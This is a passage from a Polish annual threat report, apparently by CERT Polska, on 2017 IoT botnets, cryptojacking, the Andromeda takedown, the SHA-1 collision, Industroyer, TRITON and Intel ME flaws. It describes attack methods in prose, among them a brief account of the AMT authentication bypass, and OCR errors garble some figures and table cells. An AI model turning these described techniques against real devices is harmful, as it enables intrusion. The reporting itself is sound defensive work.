na poczatku kwietnia 2017 r., masowo niszczyt
routery oraz inne urzadzenia loT podatne na wptyw
Miraia, uniemozliwiajac tym samym infekcje w dos¢
bezkompromisowy sposéb. Destrukcja polegata

na nadpisaniu pamieci zainfekowanego urzadzenia
losowymi danymi, co czynito je bezuzytecznym. Inne
komendy wykonywane przez Brickerbota przekon-
figurowywaty dodatkowo parametry jadra, usuwaty
konfiguracje sieciowa, a takze znacznie obnizaty
wydajnos¢ urzadzenia.

Tak jak w przypadku innych botnetéw, réwniez
Brickerbot uzywat jako gtéwnego wektora ataku
otwartego portu Telnet i domysInych par login
-hasto. Jak sie okazato, nie byt to jedyny sposéb.
Z opublikowanego w grudniu 2017 r. kodu (razem

z manifestem autora malware'u, w ktorym informuje
on o zaprzestaniu dziatalnosci) wynika, ze Brickerbot
miat réwniez funkcjonalno$¢ niezwykle skutecz-
nego crawlera SSH (niestety nieopublikowanego),

a takze moduty wykorzystujace do ataku protokoty
HTTP, HNAP i SOAP. Kod Brickerbota byt mocno
ukierunkowany na konkretne modele okreslonych
producentow, aby uniknaé¢ pomytek polegajacych
np. na atakowaniu honeypotéw. Jak twierdzi autor
Brickerbota, ofiarg jego malware’u padto ponad 10
milionéw urzadzen na catym $wiecie.

Persirai

Jednym z botnetéw o najwiekszym potencjale do
przeprowadzania atakéw DDoS byt Persirai. Jego
celem wiosng 2017 r. stato sie ponad 1 250 modeli
kamer IP, w ktérych producenci uzyli podatnego
kodu opartego na oprogramowaniu GoAhead do
zarzadzenia kamerg z poziomu przegladarki. Nalezy
jednak zaznaczy¢, ze btad (Oday umozliwiajacy zdalne
wykonanie kodu na urzadzeniu z uprawnieniami
administratora bez wczeéniejszego uwierzytelnienia)
nie znajdowat sie bezposrednio w oprogramowaniu
GoAhead, a w jego zmodyfikowanej wersji, ktéra
kazdy dostawca dostosowat pod swoj produkt.
Urzadzenia sg wspolng konstrukcjg chinskiego
producenta, zakupiong przez wielu producentéw na
zasadzie licencji OEM. Skala problemu wynikneta

z wielokrotnego wykorzystania podatnego kodu
pomiedzy réznymi producentami kamer IP.

Interesujace cechy, ktorymi wyrdzniat sie Persirai to
(oprocz samej metody infekcji) przede wszystkim:
wykorzystanie podatnosci umozliwiajacej kradziez
loginu i hasta (nawet zmienionego na silne), mecha-
nizm ukrywajgcy obecnos$¢ ztosliwego kodu na
urzadzeniu oraz zabezpieczenie kamery przed innymi
eksploitami poprzez “unieszkodliwienie” odpowied-
nich skryptéw wykorzystujgcych FTP do aktualizacji

i umozliwiajacych wgranie kolejnych plikow.

Analiza Trend Micro wykazata lokalizacje serwerow
C&C botnetu w domenie .ir (to ttumaczy poniekad
nazwe botnetu - dawna Persja to obecnie Iran).
Bazujac na wynikach wyszukiwania w serwisie
Shodan, zidentyfikowano ponad 120 000 urzadzen
podatnych na infekcje Persiraiem. Wedtug chinskiej
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firmy Netlab 360, zajmujacej sie bezpieczeristwem,
w maju zainfekowanych byto juz okoto 50 000 kamer
(przewazajaca wiekszos$¢ znajdowata sie w Chinach).
Jednak Persirai, mimo duzego potencjatu do
przeprowadzania atakéw DDoS, nie powtdrzyt spek-
takularnych wynikéw Miraia.

loTroop (aka Reaper)

Pod koniec wrzesnia 2017 r. badacze z Checkpoint
zaobserwowali formowanie sie nowego rodzaju
botnetu. Malware zostat nazwany loTroop (inne
nazwy loT_reaper lub Reaper). PdZniejsze analizy
wykazaty czesciowa zbieznos¢ loTroop/Reapera

z kodem botnetu Mirai. Propagacja nowego zagro-
zenia nastgpita btyskawicznie osiggajac wedtug
niektoérych zrédet tempo 10000 przejetych urzadzen
dziennie (przy szacowanej liczbie ok. 2 milionéw
podatnych urzadzen na catym swiecie).

W odréznieniu od Miraia zainfekowane urzadzenia
probowaty przejmowac kolejne urzadzenia (gtéwnie
kamery IP oraz routery) nie za pomoca domyslnych
haset, ale poprzez pakiet dziewieciu eksploitow

Producent

D-Link

GoAhead

JAWS

Netgear

Vacron

Netgear

Linksys

D-Link

AVTECH

na znane podatnosci w produktach takich firm jak:
GoAhead, D-Link, JAWS, Netgear, AVTECH, Link-
sys, Vacron. Lista podatnosci wykorzystywanych
przez Reapera znajduje sie w tabeli 1. Dotyczyty one
gtéwnie zdalnego wykonania kodu lub mozliwos$ci
wykonania polecenia na urzadzeniu loT.

Na uwage zastuguja jeszcze dwa ciekawe rozwigza-
nia, ktére zastosowat autor Reapera. Pierwsze z nich
to zintegrowane $rodowisko wykonywalne jezyka
LUA. Dzieki temu istniata mozliwo$¢ sterowania
atakami oraz rozszerzania funkcjonalno$ci botnetu
poprzez odpowiednio napisane skrypty. Drugie
rozwigzanie (obserwowane juz w innych botnetach
opartych o kod Miraia) polegato na dotaczonej liscie
ponad 100 otwartych resolveréw DNS, umozliwiaja-
cych wzmocnienie przeprowadzanego ataku DDoS.

Pomimo btyskawicznej propagacji i olbrzymiego
zagrozenia ptynacego ze strony Reapera, w 2017

r. nie zaobserwowano atakéw DDoS z wykorzy-
staniem botnetu, a jedynie jego ekspansje i rozrost
pod wzgledem liczby zainfekowanych urzadzen oraz
zwiekszania potencjatu do przeprowadzenia ewentu-
alnego ataku w przysztosci.

Informacja o podatnosci

https://blogs.securiteam.com/index.php/archives/3364
https:/pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
https:/www.pentestpartners.com/blog/pwning-cctv-cameras/
https://blogs.securiteam.com/index.php/archives/3409
https:/blogs.securiteam.com/index.php/archives/3445
http://seclists.org/bugtraq/2013/Jun/8
http:/www.s3curlty.de/m1adv2013-004
http: /www.s3curlty.de/m1adv2013-003

https:/github.com/Trietptm-on-Security/AVTECH

Tabela 3. Podatnosci wykorzystywane przez botnet loTroop/Reaper
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Satori

Pod koniec listopada 2017 r. w globalnej sieci gto$nym
echem odbita sie wiadomos¢ o btyskawicznej propa-
gacji oraz dosc¢ szybkim unieszkodliwieniu botnetu
Satori, za ktérym, jak zidentyfikowano, stat amator

o nicku Nexus Zeta. Satori, réwniez oparty na zmodyfi-
kowanym kodzie Miraia, wyrdzniat sie wykorzystaniem
dwéch podatnosci w routerach Realtek oraz Huawei,
atakujac wedtug réznych zrédet miedzy 500 000 a 700
000 urzadzen, zlokalizowanych gtéwnie w Argenty-
nie, Kolumbii, Ekwadorze, Panamie, Egipcie i Tunez;ji.
Warto podkresli¢, ze eksploit na urzagdzenia Huawei
byt Oday’'em, wykorzystujgcym Zle zaimplemento-
wany modut konfiguracji lokalnej sieci. Pozwalat on

na wstrzykniecie polecenia $ciggajacego, a nastepnie
uruchamiajgcego ztosliwy kod na podatnym routerze.

Wedtug Unit 42 (Palo Alto Networks), Satori, ktory
atakowat od 23 listopada, byt trzecim wariantem tej
rodziny malware'u, przy czym pierwszym, uzywajacym
wspomnianych eksploitéw. Pojawienie sie pierwszej
wersji Satori obserwowane byto juz w kwietniu. Wersja
ta byta najbardziej zblizona w dziataniu do Miraia.
Kolejny typ, odkryty w sierpniu 2017 r., posiadat
dodany paker utrudniajacy detekcje statyczna (tj. bez
koniecznosci uruchamiania probki) oraz nowe hasto
“aquario” w stowniku. Jest to domyslne hasto uzywane
w popularnych urzadzeniach bezprzewodowych

w krajach Ameryki Potudniowej, co wskazuje na region
Swiata, ktory byt potencjalnym celem atakujgcego.

Botnety loT w Polsce

Patrzac na infekcje urzadzen loT w ujeciu globalnym,
Polska nie byta obiektem znacznego zainteresowania
twércédw najwiekszych botnetéw loT. To, ze gtéwne
fale atakéw i rozprzestrzeniania sie botnetéw loT
omijaty nasz kraj nie znaczy, ze takie zagrozenie

w ogoéle nas nie dotyczy. Rowniez w Polsce zdarzaty
sie infekcje urzadzen loT, co pokazuje, ze wcigz znaj-
duje sie wiele niezabezpieczonych badz tatwych do
przejecia urzadzen. Gtéwnym problemem pozostawat
botnet Mirai. Zanotowalismy takze kilkanascie infekgcji
oprogramowaniem Satori. W tabeli X prezentujemy
$rednig dzienng liczbe botéw Miraia w Polsce w rozbi-
ciu na poszczegdlne miesigce, na podstawie danych
zgromadzonych w systemie né.

Srednia dzienna liczba

Miesiac aktywnych botéw
Styczen 5845
Luty 3772
Marzec 4198
Kwieciert A
Maj 2307
Czerwiec 1334
Lipiec 288
Sierpien 630
Wrzesien 203
Pazdziernik 795
Listopad 783
Grudzien 755
tacznie 2081

Tabela 4. Srednia dzienna liczba botéw Miraia
w polskich sieciach w poszczegélnych miesigcach.

Podsumowanie

Pomimo ogromnego zagrozenia, jakie stworzyto
rozprzestrzenianie sie kolejnych rodzajéw i generacji
botnetow loT, ich twodrcy na szczescie nie wykorzy-
stali w petni tego potencjatu. Rok 2017 nie przyniost
spektakularnych atakéw, jak miato to miejsce jeszcze
kilka miesiecy wczesniej w przypadku botnetu Mirai.
Powodem do niepokoju moze by¢ natomiast tatwos¢,
zZ jaka autorzy tego typu ztosliwego oprogramowa-
nia przejmuja urzadzenia loT, tempo propagowania
poszczegdlnych infekcji oraz coraz bardziej wyra-
finowane metody ataku (w tym niejednokrotne
wykorzystanie eksploitéw typu Oday, czasem nawet
2-3 dni po ujawnieniu podatnosci. Martwi to tym
bardziej, ze urzadzenia loT to nie tylko kamery IP czy
routery, ale czesto réwniez urzadzenia medyczne oraz
inteligentne zabawki, z ktérych korzystaja najmtodsi.
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Ztozyty sie na to dwa czynniki.
Pierwszy z nich to wczesniej
wspomniany rozwoj przegladarek
internetowych, ktory przyniost
fale odpornych na klasyczne

ataki uzytkownikow, a takze
stworzyt mozliwos¢ wykonywania
skomplikowanych obliczen
wprost z poziomu przegladarki.
Drugim czynnikiem jest wzrost
popularnosci kryptowalut,

a co za tym idzie takze ich cen.”

Przemystaw Jaroszewski,
Kierownik CERT Polska
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W przysztosci mozemy sie spodziewac botnetéw,
ktére oprocz atakéw DDoS bedg oferowaty takie
funkcjonalnosci jak masowa zmiana ustawien DNS
lub kopanie kryptowalut. Specjalisci z Fortinetu
przewiduja réwniez mozliwo$¢ wykorzystania ucze-
nia maszynowego lub sztucznej inteligencji tak, aby
malware sam rozpoznawat atakowane urzadzenie

i dobierat najlepszy dostepny eksploit w celu jego
przejecia. By¢ moze nowe funkcjonalnosci botnetéw

umozliwia taczenie sie przejetych urzadzen loT w tzw.

Hivenety, czyli podgrupy urzadzen wspdtpracuja-
cych ze soba na zasadzie odrebnego inteligentnego
systemu, w celu realizacji konkretnych zadan zleca-
nych przez administratora botnetu.

Cryptojacking

Przestepcy od lat wykorzystuja przegladarki
internetowe swoich ofiar w celu monetyzacji dzia-
tan. Oprocz zwyktych oszustw, niegdys jednym

z najbardziej popularnych zrédet zarobku byty ataki
z uzyciem exploit kitow. Infekcja ztosliwym opro-
gramowaniem rozpoczyna sie od wejscia na strone
internetowa, do zrodta ktoérej zostat wczesniej

w wyniku skutecznego ataku dotgczony kod exploit
kitu. Ztosliwy kod moze réwniez zostac¢ przemy-
cony w reklamie - niektorzy dostawcy ustug nie
sprawdzajg dodawanych tresci pod katem zagrozen,
a takze zezwalajg na dotaczanie do nich skryptow
javascript.

Przegladarki i dodatki do nich s3 stale udoskonalane.
Rozwdj dotyczy zarowno mechanizméw bezpieczen-
stwa, jak i ich wydajnosci. Wykorzystanie exploit
kitow staje sie coraz mniej dochodowe, poniewaz
odsetek podatnych przegladarek wcigz maleje.

Przestepcy muszg stale dostosowywac sie do
warunkéw $rodowiska. W 2017 roku exploit kity
w duzym stopniu zostaty wyparte przez cryp-
tojacking - zjawisko wykorzystywania mocy
obliczeniowej komputeréw ofiar w celu kopania
kryptowalut.

Ztozyty sie na to dwa czynniki. Pierwszy z nich to
wczesniej wspomniany rozwoj przegladarek interne-
towych, ktéry przyniost fale odpornych na klasyczne
ataki uzytkownikow, a takze stworzyt mozliwosé
wykonywania skomplikowanych obliczert wprost

z poziomu przegladarki. Drugim czynnikiem jest
wzrost popularnosci kryptowalut, a co za tym idzie
takze ich cen. W 2017 roku kursy wielu z nich osia-
gnety rekordowe wartosci.

BTCUSD - 3 lata 14 Lut 2018 14:37 CET (C)Stooq

7699

- 8961

223.4

7015 - P10 ) 7017 7018
hups://swoq.pl/ Interwal Tyg odniowy

Rysunek 22. Wykres wartosci kryptowaluty Bitcoin
wyrazonej w dolarach amerykanskich

Przestepcy zaczeli intensywniej korzystac ze skryp-
téw kopigcych Monero. Algorytmy uzywane w tej
kryptowalucie nie wymagaja uzycia kart graficznych
do efektywnych obliczen.

Pomimo relatywnie niskiej wydajnosci - wzgledem
wykonywania instrukcji nizszego poziomu przy
uzyciu dedykowanego oprogramowania - przecietny
komputer starszej generacji z procesorem Core

2 Duo jest w stanie oblicza¢ okoto 7.5 hasha na
sekunde. Po infekcji witryn, ktérych suma aktywnych
uzytkownikéw utrzymuje sie na poziomie dwoch
milionéw, mozna liczy¢ na zarobek rzedu parunastu
dolaréw co minute.

W przestrzeni .pl rejestrujemy nieliczne przypadki
infekcji witryn, ktére wykorzystujg moc oblicze-
niowag komputeréw uzytkownikéw w celu kopania
kryptowalut.
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Andromeda (Gamarue)

29 listopada 2017 r. zakonczyta sie trwajaca od
ponad dwdch lat operacja unieszkodliwiania botnetu
Andromeda, zwanego takze Gamarue. Sledztwo w tej
sprawie zapoczatkowato FBI przy wspétpracy z firma
Microsoft w roku 2015. Operacja prowadzona byta
przez miedzynarodowy zespot, w sktad ktérego
wchodzili réwniez przedstawiciele organdéw scigania
z catego $wiata, w tym: Europol, Eurojust, J-CAT.
Dziatania byty wspierane przez instytucje z sektora
prywatnego, miedzy innymi przez: The Shadow-
server Foundation, Internet Corporation for Assigned
Names and Numbers (ICANN). Sledztwo dopro-
wadzito do aresztowania podejrzanego na terenie
Biatorusi. Udato sie rowniez unieszkodliwié siedem
serweréw C&C Andromedy, przejac blisko 1 500
domen wykorzystywanych przez malware, a ruch
pochodzacy od zainfekowanych uzytkownikéw

- przekierowac na serwery sinkhole. O ogrom-

nym zasiegu botnetu moga $wiadczy¢ zgtoszenia

pochodzace z przejetych serweréw C&C: w ciggu
pierwszych 48 godzin przekierowania na serwery
sinkhole, zaobserwowano prawie dwa miliony unikal-
nych adreséw IP ofiar, pochodzacych z 223 krajéw.

Pierwsze wzmianki na temat botnetu datuje sie na
koniec roku 2011. Uzywany malware charakteryzo-
wat sie modutowoscig, umozliwiajgc w ten sposéb
dodawanie kolejnych funkcjonalnosci do zainfeko-
wanych wczeéniej maszyn. Oprécz standardowych
mozliwosci trojana bankowego, Andromeda potrafita
zainfekowac ofiare kolejnym sposréd 80 rodzajow
malware. Przejety botnet byt powigzany z siecig
fast-flux Avalanche, o ktérej wytgczeniu informowa-
liSmy w zesztorocznym raporcie. CERT Polska stale
monitoruje liczbe zainfekowanych maszyn. Srednia
dzienna liczba obserwowanych unikalnych adreséw
IP w Polsce w roku 2017 wynosita 6711.

Kolizja SHA-1

23 lutego 2017 roku Google podato do publicznej
wiadomosci informacje o skutecznie wygenerowanej
kolizji na funkcje hashujacg SHA-1%1.

Wspomniana kryptograficzna funkcja skrétu
powstata w 1995 roku, znajdujac zastosowanie
m.in. w takich obszarach jak certyfikaty HTTPS,
zarzadzanie repozytoriami kodu, cyfrowe podpisy-
wanie dokumentoéw, czy rozwigzania backupowe.
Zatozeniem algorytmu SHA-1, podobnie jak innych
powszechnie stosowanych funkgji skrotu, jest wyli-
czanie unikalnej wartosci dla danego pliku lub ciggu
znakéw. W konsekwencji kazda, nawet drobna
modyfikacja danych wejsciowych przekazywanych
do funkcji powinna skutkowa¢ wygenerowaniem
skrétu o innym wyniku.

91 Zob. https://security.googleblog.com/2017/02/an-
nouncing-first-shal-collision.html

Wynik funkcji mieszajacej SHA-1 dla dwdch,
nieznacznie réznigcych sie ciagéw znakéw przedsta-
wia sie nastepujaco:

CERT.pl
4a43778feb33688a0a77bb3554b2fdf4d103b4fd
cert.pl
988dd2f8ce82267b61360d931fbf90b0916f3fed

Przyktadem kolizji przeprowadzonej wobec funkcji
skrétu bytoby wyliczenie dwéch identycznych wyni-
kéw dla réznych danych wejsciowych. Udato sie to
holenderskiemu instytutowi naukowemu CWI we
wspoétpracy z Google. Proof-of-concept ataku wigzat
sie z wykonaniem 9 223 372 036 854 775 808
operacji z wykorzystaniem funkcji SHA-1, co w prak-
tyce przektada sie na 6 500 lat pracy procesora CPU
w pierwszej fazie i 110 lat pracy procesora GPU

w fazie drugiej. W rezultacie, korzystajac z infra-
struktury o odpowiedniej mocy obliczeniowej udato
sie przeprowadzi¢ kolizje, ktorej efektem korncowym


https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
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byty dwa pliki PDF?2,”® 0 odmiennej zawartosci, lecz
identycznych wynikach funkcji SHA-1.

Warto wspomniec, ze w dziedzinie kryptograficznych
funkcji hashujgcych wskazanie praktycznej kolizji
powoduje dyskwalifikacje catej funkcji, cho¢ jak
mozna zauwazyc, jej przeprowadzenie nie jest trywi-
alne. Wiele aplikacji wcigz uzywa funkcji SHA-1,

jednak jest ona sukcesywnie wycofywana. Prze-
gladarki Chrome poczawszy od wersji 56 traktuja
wszystkie odwiedzane witryny postugujace sie certy-
fikatem X.509 z algorytmem sygnatury certyfikatu
SHA-1 jako niebezpieczne. Podobne zmiany zostaty
wprowadzone 24 lutego 2017 do przegladarki Fire-
fox. Bezpieczne alternatywy dla SHA-1 stanowia
funkcje skrotu SHA-256 oraz SHA-3%4.

SHAttered

The first concrate collision attack against SHA-1
httpsi/shattered.io

G Google

Elie Bursztein
Ange Albertini
Yarik Markoy

Marc Stevens
Plerre Karpman

B76
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d14bq77 d2

37
9bdef7993
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62cf7155934b34d179ae6a4c80cadcchb7f0a

SHAttered

The first concrete collision attack against SHA-1

Gl Google

Elie Bursztein
Ange Albertini
Yarik Markov

Marc Stevens
Plerre Karpman

1.pdf
2.pdf

352192383abe7e2902936d1059%9ad9f1babdaaa%c1e58ee6970d0 1.pdf
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894ba5ff 2.pdf

Rysunek 23. llustracja przedstawiajgca wynik przeprowadzonej kolizji SHA-18?

92 https://shattered.io/static/shattered-1.pdf
93 https:/shattered.io/static/shattered-2.pdf

94 Zob. https:/shattered.io
95 https://shattered.io/static/shattered.png


https://shattered.io/static/shattered-1.pdf
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Ztosliwe oprogramowanie na systemy

przemystowe

Incydenty powigzane z aktywnoscia ztosliwego oprogramowania nie omijaja
obszarow zwigzanych z automatyka przemystowa. W czerwcu 2017 roku firmy
ESET oraz Dragos opublikowaty obszerne analizy oprogramowania Industroyer
(znanego takze jako Crashoverride), atakujgcego sektor energetyczny’® ?’.
Niespetna p6t roku pézniej mogliSmy ustysze¢ o aktywnosci kolejnej odmiany
przemystowego malware’u (TRITON/TRISIS/HatMan), tym razem ukierunko-
wanego na systemy automatyki zabezpieczeniowej® %°.

Industroyer

Industroyer jest czwartym w historii (wsérod
poprzednikéw znajduje sie Stuxnet, BlackEnergy 2
oraz Havex) ztosliwym oprogramowaniem wymie-
rzonym w bezpieczenstwo systeméw ICS (Industrial
Control Systems). Jednoczes$nie, stanowi on pierwszy
malware zaprojektowany w celu przeprowadzenia
ataku na sieci elektroenergetyczne. Zbudowany
zostat jako modularny framework sktadajacy sie

z backdoora, loadera, payloadéw dajacych dostep
do komunikacji w warstwie przemystowej oraz
modutéw pomocniczych. Szkodliwy kod umozliwiat
nieautoryzowang kontrole przetacznikow i wytacz-
nikow w podstacjach energetycznych, stwarzajac
tym samym ryzyko destabilizacji pracy sieci. Wsréd
wymienionych scenariuszy ataku, analitycy dostrze-
gli mozliwo$¢ uzycia Industroyera do wywotania

w infrastrukturze petli, kazdorazowo przetaczajacej
wytaczniki w stan otwarcia (brak przeptywu pradu)
oraz do wywotania instrukcji naprzemiennych,
zmieniajacych ich stan. Zastosowanie pierwszego
scenariusza ataku mogtoby zosta¢ ukierunkowane
na uniemozliwienie operatorowi podstacji wydania

96 https:/www.welivesecurity.com/wp-content/uploads/
2017/06/Win32_Industroyer.pdf

97 https:/dragos.com/blog/crashoverride/CrashOverride-
01.pdf

98 http:/sache.org/beacon/files/2009/07/pl/read/2009-
07-Beacon-Polish-s.pdf

99 https:/ics-cert.us-cert.gov/MAR-17-352-01-HatMan%
E2%80%94Safety-System-Targeted-Malware

polecenia zamkniecia obwodu za posrednictwem
interfejsu HMI (Human Machine Interface). W konse-
kwencji wigzatoby sie to z ryzykiem utraty zdalnej
kontroli nad atakowang podstacja i konieczno-

$cig przetaczenia atakowanego segmentu sieci

w tryb zarzadzania manualnego. Drugi scenariusz,
wyzwalajgc petle naprzemiennie zmieniajgce stan
wytacznikéw, pociggatby za sobg ryzyko uruchomie-
nia mechanizméw bezpieczenstwa i odizolowania
podstacji od reszty sieci. Zaréwno jedna, jak i druga
koncepcja ataku wigzataby sie z ryzykiem spowo-
dowania przestojow w dostarczaniu energii'®.
Tworcy ztosliwego oprogramowania wykazali sie
dobra znajomoscia rozwigzan wykorzystywanych

w przemystowych systemach sterowania. Zastoso-
wany malware komunikowat sie ze sSrodowiskiem
ofiary przy uzyciu protokotéw opisanych w stan-
dardach IEC 60870-5-101, IEC 60870-5-104, IEC
61850, oraz OLE for Process Control Data Access
(OPC DA), wczesniej przeprowadzajac rekonesans.
W5srad ztosliwych komponentéw znalazt sie réwniez
modut umozliwiajacy przeprowadzenie ataku DoS
na wybrane urzadzenia Siemens SIPROTEC (wyko-
rzystana podatnos$¢ CVE-2015-5374). Industroyer
zostat dodatkowo wyposazony we wtasny skaner
sieci, wiper utrudniajacy analize powtamaniowa,
jak réwniez dedykowany backdoor, ukrywajacy sie
w kodzie aplikacji imitujacej systemowy notatnik%.,

100 https:/dragos.com/blog/crashoverride/

101 https:/www.welivesecurity.com/2017/06/12/indus-
troyer-biggest-threat-industrial-control-
systems-since-stuxnet/
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Poszczegdlne moduty zostaty zilustrowane na
diagramie ponizej:

MAIN BACKDOOR

INSTALLS

® LAUNCHER

ADDITIONAL
INSTALLS BACKDOOR
CONTROLS ADDITIONAL
TOOLS
EXECUTES

5 DATA WIPER

EXECUTES

101 PAYLOAD 104 PAYLOAD

61850 PAYLOAD OPC DA PAYLOAD

Schemat 2. Industroyer - schemat dziatania (zrédto: ESET)

Oprécz omawianych mechanizmow persysten-

cji i zacierania $ladéw, Industroyer umozliwiat

m.in. prowadzenie komunikacji w sieci TOR oraz
aktywno$¢ poza wyznaczonymi godzinami pracy
atakowanej organizacji. Analitycy z firmy ESET
podkreslaja trudnos¢ atrybucji dziatan bez przepro-
wadzania dochodzenia w miejscu zdarzenia. Eksperci
dopuszczajg jednak prawdopodobienstwo wykorzy-
stania Industroyera w majgcym miejsce 17 grudnia
2016 roku incydencie, dotykajacym ukrainskie sieci
energetyczne, co potwierdzita w jednym ze swoich
raportow firma Dragos!®?. Zastosowane protokoty

i rozwigzania czynia z niego wysoce konfigurowalny

102 https:/dragos.com/media/2017-Review-Industri-
al-Control-System-Threats.pdf

malware, zdolny do adaptacji w innych obszarach
infrastruktury krytycznej'©s.

[T
M o
e paron
cannty

Rysunek 24. Sposéb, w jaki atakujgcy komunikowat
sie z infrastruktura (zrodto: ESET)

103 https:/www.welivesecurity.com/2017/06/12/
industroyer-biggest-threat-industrial-control-sys-
tems-since-stuxnet/
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TRITON

Koniec pierwszej potowy grudnia 2017 roku to czas,
kiedy opublikowane zostaty przez firmy Dragos!®*
oraz Mandiant!® analizy jedynego jak dotad ztosli-
wego oprogramowania, wymierzonego w rozwigzania
SIS (Safety Instrumented Systems). TRITON (znany
réwniez jako TRISIS oraz HatMan'%) to pierwszy

Attack
Scripts
I TRITON
TriStation Communication
inject.bin
" imain.bin
Triconex
Controller

publicznie udokumentowany malware, ktory usitowat
sabotowac systemy zapewniajgce bezpieczenstwo
procesow przemystowych w sytuacjach awaryj-
nych. W przypadku wystgpienia groznych anomalii,
kontrolery SIS prébuja przywrdci¢ ryzykowny proces
do stanu rownowagi lub wyzwalajg mechanizm
zatrzymujacy go w bezpieczny sposéb'?’. Ztosliwy
kod, ukierunkowany na rozwigzania Triconex Tricon
(podatne modele MP 3008, z wersjami firmwa-

re’u 10.0-10.4)1%, uruchamiany byt na dziatajacych
pod kontrolg systemu Windows stacjach roboczych,
posiadajacych dostep do wspomnianych kontro-
leréw. Malware ukrywat sie jako narzedzie Trilog,
wchodzace w sktad pakietu TriStation, uzywanego
przez operatoréw infrastruktury do przegladania
dziennikéw zdarzen. Rzeczywiscie uruchamiang

104 https:/dragos.com/blog/trisis/TRISIS-01.pdf

105 https:/www.fireeye.com/blog/threat-re-
search/2017/12/attackers-deploy-new-ics-
attack-framework-triton.html

106 https://ics-cert.us-cert.gov/MAR-17-352-01-Hat-
Man%E2%80%94Safety-System-Targeted-
Malware

107 https:/www.fireeye.com/blog/threat-re-
search/2017/12/attackers-deploy-new-ics-
attack-framework-triton.html

108 https:/ics-cert.us-cert.gov/advisories/ICSA-18-107-02

aplikacja byt, skompilowany przy uzyciu narzedzia
Py2EXE, szkodliwy skrypt w jezyku Python. TRITON
zbudowany byt w oparciu o wyzej wspomniany

plik wykonywalny (trilog.exe), dwa sktadajace sie

na ztosliwy payload pliki binarne (inject.bin, imain.
bin), a takze archiwum (libraries.zip), zawierajace
wymagane do komunikacji z kontrolerem biblioteki

i narzedzia.

Masqueraded
Trilog Application

trilog.exe

SIS Engineering
Workstation

_J

library.zip
TsHi
TsBase

TsLow

A
<O FireEye

Schemat 3. TRITON - schemat dziatania (zrédto:
FireEye)

Poniewaz atakowane kontrolery zabezpieczone byty
kluczem fizycznym, propagacja ztosliwego payloadu
wymagata pracy urzadzenia w trybie programowania.

= TRICONEX

11290849

=

Rysunek 25. Fizyczny mechanizm umozliwiajacy
wybér trybu pracy urzadzenia Triconex. Zrédto:
FireEye'®”

109 https:/images-na.ssl-images-amazon.com/images/|/
41jr93jKzML._SX466_.jpg
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Atakujacy wykorzystat szkodliwy kod z zamiarem
przeprogramowania logiki w kontrolerach SIS.
TRITON weryfikowat stan urzadzenia, pobierat
jego konfiguracje, postugujac sie dedykowanym do
tego protokotem TriStation, a nastepnie dokonywat
proby nadpisania kodu znajdujacego sie w pamieci.
W wyniku zdarzenia, cze$¢ kontroleréw przeszta

w tryb awaryjny, wyzwalajgc automatyczne zatrzy-
manie proceséw przemystowych. Analitycy z firmy
Mandiant stwierdzili z umiarkowana pewnoscia, ze
atakujacy dokonat zatrzymania proceséw w sposéb

nieumyslny, a faktycznym motywem sprawcy mogty
by¢ dziatania, majace na celu fizyczne uszkodze-

nia infrastruktury. Sprawcy ataku nie wykryto.
Analizowane przestanki, takie jak wykorzystanie

do komunikacji nieudokumentowanego publicznie
protokotu TriStation oraz uzycie TRITON-a krotko
po uzyskaniu dostepu do segmentu sieci SIS, moga

sugerowad, ze w procesie tworzenia ztosliwego kodu,

atakujacy postugiwat sie inzynierig wsteczng oraz
zbudowat narzedzie, ktére wczesniej przetestowat
w dedykowanym $rodowisku.
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Btedy / podatnosci

Komponenty nizszego poziomu

Podatnosci w Intel Management Engine

W 2017 roku $wiat bezpieczenstwa IT dwukrotnie
poruszyty wiadomosci o podatnosciach pozwalaja-
cych na wykonanie kodu w integralnym komponencie
procesoréw Intela - Intel Management Engine (ME).
Jest to czesciowo udokumentowana technologia

z wtasnosciowym firmware, zlokalizowana w chipie
Platform Controller Hub (PCH), odpowiadajacym

za komunikacje procesora z praktycznie wszystkimi
urzadzeniami zewnetrznymi.

Platforma ta pracuje nawet po wytaczeniu kompu-
tera, a jej dziatanie ustaje dopiero po catkowitym
zaniku zasilania lub wyczerpania baterii. Badaniom
bezpieczenstwa platformy sprzyjat fakt przejscia

z egzotycznej platformy ARC na platforme x86 oraz
system operacyjny MINIX - analiza kodu na popular-
nej platformie stata sie o wiele fatwiejsza.

Pierwsza podatnoscig ME z maja 2017 r., byta CVE-
2017-5689110111 odkryta przez Maksyma Maliutina

z firmy Embedi. Btad w serwerze webowym Intel
Active Management Technology (AMT) skutkowat
eskalacjg uprawnien i mozliwosciag zdalnego przejecia
kontroli nad maszyna z wtaczong technologia vPro.
AMT pozwala na zdalne zarzadzanie komputerem
(nawet gdy jest wytaczony) poprzez konsole KVM,
przekierowanie IDE oraz wtaczanie i wytgczanie
maszyny, a takze dostep do BIOS.

Luka wynikata z niewtasciwego przekazania
argumentow do funkgji strnecmp() w trakcie uwie-
rzytelniania uzytkownika. Zty parametr rozmiaru
poréwnywanego bufora powodowat, ze pusty

110 https://security-center.intel.com/advisory.aspx?in-
telid=INTEL-SA-00075&languageid=en-fr

111 https:/theswissbay.ch/pdf/_to_sort/Silent-Bob-is-
Silent.pdf

string w odpowiednim nagtéwku HTTP spetniat
warunek uwierzytelnienia z najwyzszymi uprawnie-
niami w AMT - tak jakby napastnik znat hasto konta
“admin”.

Pod koniec sierpnia badacze firmy Positive Techno-
logies: Mark Ermolov oraz Maxim Goryachy odkryli
kolejng podatnos¢ w dziataniu technologii ME w wersji
11. Znaleziona zostata nieudokumentowana funkcjo-
nalnos$¢ pozwalajaca na jego catkowite wytaczenie'?.
Whytacznik wbudowano na zyczenie amerykanskiej
Narodowej Agencji Bezpieczenstwa (NSA) w zwigzku
z programem budowy zaufanej platformy do przetwa-
rzania danych w projekcie “High Assurance Platform”.
W efekcie kazdy posiadacz wspieranych procesorow
moze wytaczyc¢ dziatanie Intel Management Engine

za pomocg skryptu me_cleaner!*®, korzystajac z furtki
przygotowanej dla NSA.

Na poczatku grudnia, podczas konferencji Black-
Hat Europe, badacze odpowiedzialni za rozbrojenie
technologii Intela w sierpniu, zaprezentowali atak
pozwalajacy na wykonanie wtasnego, niepodpi-
sanego cyfrowo kodu wewnatrz platformy Intel
ME. Mozliwos¢ ta sktada sie z taricucha odkrytych
podatnosci przepetnienia bufora w komponen-
tach ME: CVE-2017-5705, CVE-2017-5706 oraz
